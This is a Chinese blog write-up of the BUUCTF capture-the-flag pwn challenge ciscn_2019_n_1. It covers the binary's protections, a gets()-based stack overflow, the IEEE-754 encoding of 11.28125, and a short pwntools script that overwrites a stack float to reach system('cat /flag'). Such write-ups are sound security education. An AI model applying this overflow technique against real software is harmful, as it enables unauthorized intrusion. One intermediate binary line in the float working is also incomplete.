[buuctf] pwnciscn_2019_n_1

ciscn_2019_n_1

检查一下文件的保护情况

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

64位程序,开启了nx保护,ida分析,找到关键的函数

int func()
{
  int result; // eax
  char v1; // [rsp+0h] [rbp-30h]
  float v2; // [rsp+2Ch] [rbp-4h]

  v2 = 0.0;
  puts("Let's guess the number.");
  gets(&v1);
  if ( v2 == 11.28125 )
    result = system("cat /flag");
  else
    result = puts("Its value should be 11.28125");
  return result;
}

需要v2为11.28125才能得到flag,并且存在栈溢出漏洞,只要v1可以覆盖到v2,并将v2的值覆盖为11.28125就能得到flag

在内存中表示11.28125就涉及到计算机原理的知识了,化为二进制浮点数表示为

1011.01001 * 2^0 

规格化后为

1.01101001 * 2^3

以符号位+指数+尾数,表示即为

0 10000010 01101001
补全4字节
0100 0001 0011 0100 1000 0000 0000

用十六进制表示即为 0x41348000

from pwn import *

r = remote('node3.buuoj.cn',27963)
v2 = 0x41348000
payload = b'a'*(0x30-0x4)+p64(v2)
r.sendline(payload)
r.interactive()

作者:寒江寻影
本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须在文章页面给出原文链接,否则保留追究法律责任的权利。
原文地址:https://www.cnblogs.com/crfshadow/p/14502481.html